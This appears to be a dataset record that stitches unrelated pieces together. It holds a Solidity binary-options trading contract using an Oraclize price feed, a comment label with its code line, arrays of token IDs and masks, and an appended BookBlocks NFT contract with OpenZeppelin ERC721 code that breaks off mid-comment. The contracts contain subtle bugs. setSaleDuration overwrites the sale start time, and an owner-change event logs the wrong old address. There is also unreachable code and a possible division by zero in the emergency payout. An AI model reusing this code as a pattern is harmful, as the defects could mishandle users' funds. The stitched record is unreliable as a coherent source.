{ using strings for *; using SafeMath for *; address public owner = 0x047f606fd5b2baa5f5c6c4ab8958e45cb6b054b7; uint public allOpenTradesAmounts = 0; uint safeGas = 2300; uint constant ORACLIZE_GAS_LIMIT = 300000; bool public isStopped = false; uint public ownerFee = 3; uint public currentProfitPct = 70; uint public minTrade = 10 finney; bool public emergencyWithdrawalActivated = false; uint public tradesCount = 0; struct Trade { address investor; uint amountInvested; uint initialPrice; uint finalPrice; string coinSymbol; string putOrCall; } struct TradeStats { uint initialTime; uint finalTime; bool resolved; uint tradePeriod; bool wonOrLost; string query; } struct Investor { address investorAddress; uint balanceToPayout; bool withdrew; } mapping(address => uint) public investorIDs; mapping(uint => Investor) public investors; uint public numInvestors = 0; mapping(bytes32 => Trade) public trades; mapping(bytes32 => TradeStats) public tradesStats; mapping(uint => bytes32) public tradesIds; event LOG_MaxTradeAmountChanged(uint maxTradeAmount); event LOG_NewTradeCreated(bytes32 tradeId, address investor); event LOG_ContractStopped(string status); event LOG_OwnerAddressChanged(address oldAddr, address newOwnerAddress); event LOG_TradeWon (address investorAddress, uint amountInvested, bytes32 tradeId, uint _startTrade, uint _endTrade, uint _startPrice, uint _endPrice, string _coinSymbol, uint _pctToGain, string _queryUrl); event LOG_TradeLost(address investorAddress, uint amountInvested, bytes32 tradeId, uint _startTrade, uint _endTrade, uint _startPrice, uint _endPrice, string _coinSymbol, uint _pctToGain, string _queryUrl); event LOG_TradeDraw(address investorAddress, uint amountInvested, bytes32 tradeId, uint _startTrade, uint _endTrade, uint _startPrice, uint _endPrice, string _coinSymbol, uint _pctToGain, string _queryUrl); event LOG_GasLimitChanged(uint oldGasLimit, uint newGasLimit); //CONSTRUCTOR FUNCTION //SECTION I: MODIFIERS AND HELPER FUNCTIONS modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyOraclize { require(msg.sender == oraclize_cbAddress()); _; } modifier onlyIfValidGas(uint newGasLimit) { require(ORACLIZE_GAS_LIMIT + newGasLimit > ORACLIZE_GAS_LIMIT); require(newGasLimit > 2500); _; } modifier onlyIfNotStopped { require(!isStopped); _; } modifier onlyIfStopped { require(isStopped); _; } modifier onlyIfTradeExists(bytes32 myid) { require(trades[myid].investor != address(0x0)); _; } modifier onlyIfTradeUnresolved(bytes32 myid) { require(tradesStats[myid].resolved != true); _; } modifier onlyIfEnoughBalanceToPayOut(uint _amountInvested) { require( _amountInvested < getMaxTradeAmount()); _; } modifier onlyInvestors { require(investorIDs[msg.sender] != 0); _; } modifier onlyNotInvestors { require(investorIDs[msg.sender] == 0); _; } function addInvestorAtID(uint id) onlyNotInvestors private { investorIDs[msg.sender] = id; investors[id].investorAddress = msg.sender; } modifier onlyIfValidTradePeriod(uint tradePeriod) { require(tradePeriod <= 30); _; } modifier onlyIfTradeTimeEnded(uint _endTime) { require(block.timestamp > _endTime); _; } modifier onlyMoreThanMinTrade() { require(msg.value >= minTrade); _; } function getMaxTradeAmount() constant returns(uint) { LOG_MaxTradeAmountChanged((this.balance - allOpenTradesAmounts) * 100/currentProfitPct); require(this.balance >= allOpenTradesAmounts); return ((this.balance - allOpenTradesAmounts) * 100/currentProfitPct); } // SECTION II: TRADES & TRADE PROCESSING /* * @dev Add money to the contract in case balance goes to 0. */ function addMoneyToContract() payable returns(uint) { //to add balance to the contract so trades are posible return msg.value; getMaxTradeAmount(); } /* * @dev Initiate a trade by providing all the right params. */ function startTrade(string _coinSymbol, uint _tradePeriod, bool _putOrCall) payable onlyIfNotStopped // onlyIfRightCoinChoosen(_coinSymbol) onlyMoreThanMinTrade onlyIfValidTradePeriod(_tradePeriod) onlyIfEnoughBalanceToPayOut(msg.value) { string memory serializePutOrCall; if(_putOrCall == true) { serializePutOrCall = "put"; } else { serializePutOrCall = "call"; } var finalTime = block.timestamp + ((_tradePeriod + 1) * 60); string memory queryUrl = generateUrl(_coinSymbol, block.timestamp, _tradePeriod ); bytes32 queryId = oraclize_query(block.timestamp + ((_tradePeriod + 5) * 60), "URL", queryUrl,ORACLIZE_GAS_LIMIT + safeGas); var thisTrade = trades[queryId]; var thisTradeStats = tradesStats[queryId]; thisTrade.investor = msg.sender; thisTrade.amountInvested = msg.value - (msg.value * ownerFee / 100 ); thisTrade.initialPrice = 0; thisTrade.finalPrice = 0; thisTrade.coinSymbol = _coinSymbol; thisTradeStats.tradePeriod = _tradePeriod; thisTrade.putOrCall = serializePutOrCall; thisTradeStats.wonOrLost = false; thisTradeStats.initialTime = block.timestamp; thisTradeStats.finalTime = finalTime - 60; thisTradeStats.resolved = false; thisTradeStats.query = queryUrl; allOpenTradesAmounts += thisTrade.amountInvested + ((thisTrade.amountInvested * currentProfitPct) / 100); tradesIds[tradesCount++] = queryId; owner.transfer(msg.value * ownerFee / 100); getMaxTradeAmount(); if (investorIDs[msg.sender] == 0) { numInvestors++; addInvestorAtID(numInvestors); } LOG_NewTradeCreated(queryId, thisTrade.investor); } // function __callback(bytes32 myid, string result, bytes proof) public { // __callback(myid, result); // } /* * @dev Callback function from oraclize after the trade period is over. * updates trade initial and final price and than calls the resolve trade function. */ function __callback(bytes32 myid, string result, bytes proof) onlyOraclize onlyIfTradeExists(myid) onlyIfTradeUnresolved(myid) { var s = result.toSlice(); var d = s.beyond("[".toSlice()).until("]".toSlice()); var delim = ",".toSlice(); var parts = new string[](d.count(delim) + 1 ); for(uint i = 0; i < parts.length; i++) { parts[i] = d.split(delim).toString(); } trades[myid].initialPrice = parseInt(parts[0],4); trades[myid].finalPrice = parseInt(parts[tradesStats[myid].tradePeriod],4); resolveTrade(myid); } /* * @dev Resolves the trade based on the initial and final amount, * depending if put or call were chosen, if its a draw the money goes back * to investor. */ function resolveTrade(bytes32 _myId) internal onlyIfTradeExists(_myId) onlyIfTradeUnresolved(_myId) onlyIfTradeTimeEnded(tradesStats[_myId].finalTime) { tradesStats[_myId].resolved = true; if(trades[_myId].initialPrice == trades[_myId].finalPrice) { trades[_myId].investor.transfer(trades[_myId].amountInvested); LOG_TradeDraw(trades[_myId].investor, trades[_myId].amountInvested,_myId, tradesStats[_myId].initialTime, tradesStats[_myId].finalTime, trades[_myId].initialPrice, trades[_myId].finalPrice, trades[_myId].coinSymbol, currentProfitPct, tradesStats[_myId].query); } if(trades[_myId].putOrCall.toSlice().equals("put".toSlice())) { if(trades[_myId].initialPrice > trades[_myId].finalPrice) { tradesStats[_myId].wonOrLost = true; trades[_myId].investor.transfer(trades[_myId].amountInvested + ((trades[_myId].amountInvested * currentProfitPct) / 100)); LOG_TradeWon(trades[_myId].investor, trades[_myId].amountInvested,_myId, tradesStats[_myId].initialTime, tradesStats[_myId].finalTime, trades[_myId].initialPrice, trades[_myId].finalPrice, trades[_myId].coinSymbol, currentProfitPct, tradesStats[_myId].query); } if(trades[_myId].initialPrice < trades[_myId].finalPrice) { tradesStats[_myId].wonOrLost = false; trades[_myId].investor.transfer(1); LOG_TradeLost(trades[_myId].investor, trades[_myId].amountInvested,_myId, tradesStats[_myId].initialTime, tradesStats[_myId].finalTime, trades[_myId].initialPrice, trades[_myId].finalPrice, trades[_myId].coinSymbol, currentProfitPct, tradesStats[_myId].query); } } if(trades[_myId].putOrCall.toSlice().equals("call".toSlice())) { if(trades[_myId].initialPrice < trades[_myId].finalPrice) { tradesStats[_myId].wonOrLost = true; trades[_myId].investor.transfer(trades[_myId].amountInvested + ((trades[_myId].amountInvested * currentProfitPct) / 100)); LOG_TradeWon(trades[_myId].investor, trades[_myId].amountInvested,_myId, tradesStats[_myId].initialTime, tradesStats[_myId].finalTime, trades[_myId].initialPrice, trades[_myId].finalPrice, trades[_myId].coinSymbol, currentProfitPct, tradesStats[_myId].query); } if(trades[_myId].initialPrice > trades[_myId].finalPrice) { tradesStats[_myId].wonOrLost = false; trades[_myId].investor.transfer(1); LOG_TradeLost(trades[_myId].investor, trades[_myId].amountInvested,_myId, tradesStats[_myId].initialTime, tradesStats[_myId].finalTime, trades[_myId].initialPrice, trades[_myId].finalPrice, trades[_myId].coinSymbol, currentProfitPct, tradesStats[_myId].query); } } allOpenTradesAmounts -= trades[_myId].amountInvested + ((trades[_myId].amountInvested * currentProfitPct) / 100); getMaxTradeAmount(); } /* * @dev Generate the url for the api call for oraclize. */ function generateUrl(string _coinChosen, uint _timesStartTrade ,uint _tradePeriod) internal returns (string) { strings.slice[] memory parts = new strings.slice[](11); parts[0] = "json(https://api.cryptowat.ch/markets/bitfinex/".toSlice(); parts[1] = _coinChosen.toSlice(); parts[2] = "/ohlc?periods=60&after=".toSlice(); parts[3] = uint2str(_timesStartTrade).toSlice(); // parts[4] = "&before=".toSlice(); // parts[5] = uint2str((_timesStartTrade + ( (_tradePeriod + 1 ) * 60))).toSlice(); parts[4] = ").result.".toSlice(); parts[5] = strConcat('"',uint2str(60),'"').toSlice(); parts[6] = ".[0:".toSlice(); parts[7] = uint2str(_tradePeriod + 1).toSlice(); parts[8] = "].1".toSlice(); return ''.toSlice().join(parts); } //SECTION IV: CONTRACT MANAGEMENT function stopContract() onlyOwner { isStopped = true; LOG_ContractStopped("the contract is stopped"); } function resumeContract() onlyOwner { isStopped = false; LOG_ContractStopped("the contract is resumed"); } function changeOwnerAddress(address newOwner) onlyOwner { require(newOwner != address(0x0)); //changed based on audit feedback owner = newOwner; LOG_OwnerAddressChanged(owner, newOwner); } function changeOwnerFee(uint _newFee) onlyOwner { ownerFee = _newFee; } function setProfitPcnt(uint _newPct) onlyOwner { currentProfitPct = _newPct; } function initialOraclizeSettings() public onlyOwner { oraclize_setCustomGasPrice(40000000000 wei); oraclize_setProof(proofType_TLSNotary | proofStorage_IPFS); } function changeOraclizeProofType(byte _proofType) onlyOwner { require(_proofType != 0x00); oraclize_setProof( _proofType | proofStorage_IPFS ); } function changeMinTrade(uint _newMinTrade) onlyOwner { minTrade = _newMinTrade; } function changeGasLimitOfSafeSend(uint newGasLimit) onlyOwner onlyIfValidGas(newGasLimit) { safeGas = newGasLimit; LOG_GasLimitChanged(safeGas, newGasLimit); } function changeOraclizeGasPrize(uint _newGasPrice) onlyOwner{ oraclize_setCustomGasPrice(_newGasPrice); } function stopEmergencyWithdrawal() onlyOwner { emergencyWithdrawalActivated = false; } modifier onlyIfEmergencyWithdrawalActivated() { require(emergencyWithdrawalActivated); _; } modifier onlyIfnotWithdrew() { require(!investors[investorIDs[msg.sender]].withdrew); _; } /* * @dev In the case of emergency stop trades and divide balance equally to all investors and allow them to withdraw it. */ function distributeBalanceToInvestors() onlyOwner { isStopped = true; emergencyWithdrawalActivated = true; uint dividendsForInvestors = SafeMath.div(this.balance, numInvestors); for(uint i = 1; i <= numInvestors; i++) { investors[i].balanceToPayout = dividendsForInvestors; } } /* * @dev Withdraw your part from the total balance in case of emergency. */ function withdrawDividends() onlyIfEmergencyWithdrawalActivated onlyInvestors onlyIfnotWithdrew { //send right balance to investor. investors[investorIDs[msg.sender]].withdrew = true; investors[investorIDs[msg.sender]].investorAddress.transfer(investors[investorIDs[msg.sender]].balanceToPayout); investors[investorIDs[msg.sender]].balanceToPayout = 0; } }
changed based on audit feedback
require(newOwner != address(0x0));
2,547,710
[ 1, 6703, 2511, 603, 8215, 10762, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2583, 12, 2704, 5541, 480, 1758, 12, 20, 92, 20, 10019, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import {Address} from "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; pragma solidity ^0.8.0; contract BookBlocks is ERC721Enumerable, Ownable { using Address for address; mapping(string => Edition) private editions; mapping(uint256 => string) private editionNamesById; mapping(address => bool) private admins; uint256 private maxPerTransaction; // Should always be set one higher than desired. Saves gas. uint256 private editionNumber; // Used to limit checks for all editions in the contract. uint256 private maxSupply; // Used to set aside ranges of token ids for certain editions. string private _baseTokenURI; constructor(string memory baseURI) ERC721("BookBlocks", "BOOKBLOCKS") { setBaseURI(baseURI); admins[msg.sender] = true; maxPerTransaction = 6; } event Minted( address indexed minter, string indexed editionName, uint256 indexed tokenId ); event EditionProceedsTaken( string indexed editionName, uint256 amount ); event EditionCreated( string indexed editionName, uint256 price, uint256 supply, uint256 saleTime, uint256 saleDuration ); struct Edition { string name; uint256 price; uint256 supply; uint256 saleTime; uint256 saleDuration; uint256 mintIndex; uint256 totalMinted; uint256 balance; } modifier onlyAdmin() { require(admins[msg.sender] == true, "Not an admin."); _; } modifier isValidMint() { require( !address(msg.sender).isContract() && msg.sender == tx.origin, "Can't be called from a contract." ); _; } function setBaseURI(string memory _newURI) public onlyOwner { _baseTokenURI = _newURI; } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } function getMaxPerTransaction() public view returns (uint256) { return maxPerTransaction; } function setMaxPerTransaction(uint256 _newMaxPerTx) external onlyOwner { maxPerTransaction = _newMaxPerTx; } function getEdition(string memory _editionName) public view returns (Edition memory){ return editions[_editionName]; } function setPrice(string memory _editionName, uint256 _price) external onlyAdmin { editions[_editionName].price = _price; } function getPrice(string memory _editionName) public view returns (uint256) { return editions[_editionName].price; } function setSupply(string memory _editionName, uint256 _supply) external onlyAdmin { editions[_editionName].supply = _supply; } function getSupply(string memory _editionName) public view returns (uint256) { return editions[_editionName].supply; } function setSaleTime(string memory _editionName, uint256 _time) external onlyAdmin { editions[_editionName].saleTime = _time; } function getSaleTime(string memory _editionName) public view returns (uint256) { return editions[_editionName].saleTime; } function setSaleDuration(string memory _editionName, uint256 _duration) external onlyAdmin { editions[_editionName].saleTime = _duration; } function getSaleDuration(string memory _editionName) public view returns (uint256) { return editions[_editionName].saleTime; } function isSaleOpen(string memory _editionName) public view returns (bool) { uint256 sale_time = editions[_editionName].saleTime; return (block.timestamp >= sale_time && block.timestamp < sale_time + editions[_editionName].saleDuration); } function getAllEditionNames() public view returns (string[] memory) { string[] memory names = new string[](editionNumber); for (uint256 i; i < editionNumber; i++) { names[i] = editionNamesById[i]; } return names; } function mint(string memory _editionName, uint256 _count) external payable isValidMint { require(isSaleOpen(_editionName), "Sale is closed."); require(_count < maxPerTransaction, "Exceeds max per tx."); uint256 _price = editions[_editionName].price; uint256 _saleTotal = _price * _count; require(msg.value == _saleTotal, "Invalid value."); require( editions[_editionName].supply - editions[_editionName].totalMinted >= _count, "Exceeds max supply." ); for (uint256 i; i < _count; i++) { _safeMint(msg.sender, editions[_editionName].mintIndex + i); emit Minted(msg.sender, _editionName, editions[_editionName].mintIndex + i); } editions[_editionName].mintIndex += _count; editions[_editionName].totalMinted += _count; editions[_editionName].balance += _saleTotal; } function reserve(string memory _editionName, uint256 _count, address _address) external onlyAdmin { require( editions[_editionName].supply - editions[_editionName].totalMinted >= _count, "Exceeds max supply." ); for (uint256 i; i < _count; i++) { _safeMint(_address, editions[_editionName].mintIndex + i); emit Minted(_address, _editionName, editions[_editionName].mintIndex + i); } editions[_editionName].mintIndex += _count; editions[_editionName].totalMinted += _count; } function createEdition( string memory _name, uint256 _price, uint256 _supply, uint256 _saleTime, uint256 _saleDuration ) external onlyAdmin { editions[_name] = Edition(_name, _price, _supply, _saleTime, _saleDuration, maxSupply, 0, 0); editionNamesById[editionNumber] = _name; emit EditionCreated(_name, _price, _supply, _saleTime, _saleDuration); editionNumber++; maxSupply += _supply; } function withdrawEdition(string memory _name) external onlyAdmin { uint256 proceeds = editions[_name].balance; editions[_name].balance -= proceeds; emit EditionProceedsTaken(_name, proceeds); require(payable(msg.sender).send(proceeds), "Withdraw Failed."); } function withdrawEditions(string[] memory _names) external onlyAdmin { uint256 proceeds; uint256 total_proceeds; for (uint256 i; i < _names.length; i++) { proceeds = editions[_names[i]].balance; total_proceeds += proceeds; editions[_names[i]].balance -= proceeds; emit EditionProceedsTaken(_names[i], proceeds); } require(payable(msg.sender).send(total_proceeds), "Withdraw Failed."); } function addAdmin(address _address) external onlyOwner { admins[_address] = true; } function removeAdmin(address _address) external onlyOwner { admins[_address] = false; } function isAdmin(address _address) public view returns (bool) { return admins[_address]; } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { return new uint256[](0); } uint256[] memory tokensId = new uint256[](tokenCount); for (uint256 i; i < tokenCount; i++) { tokensId[i] = tokenOfOwnerByIndex(_owner, i); } return tokensId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling 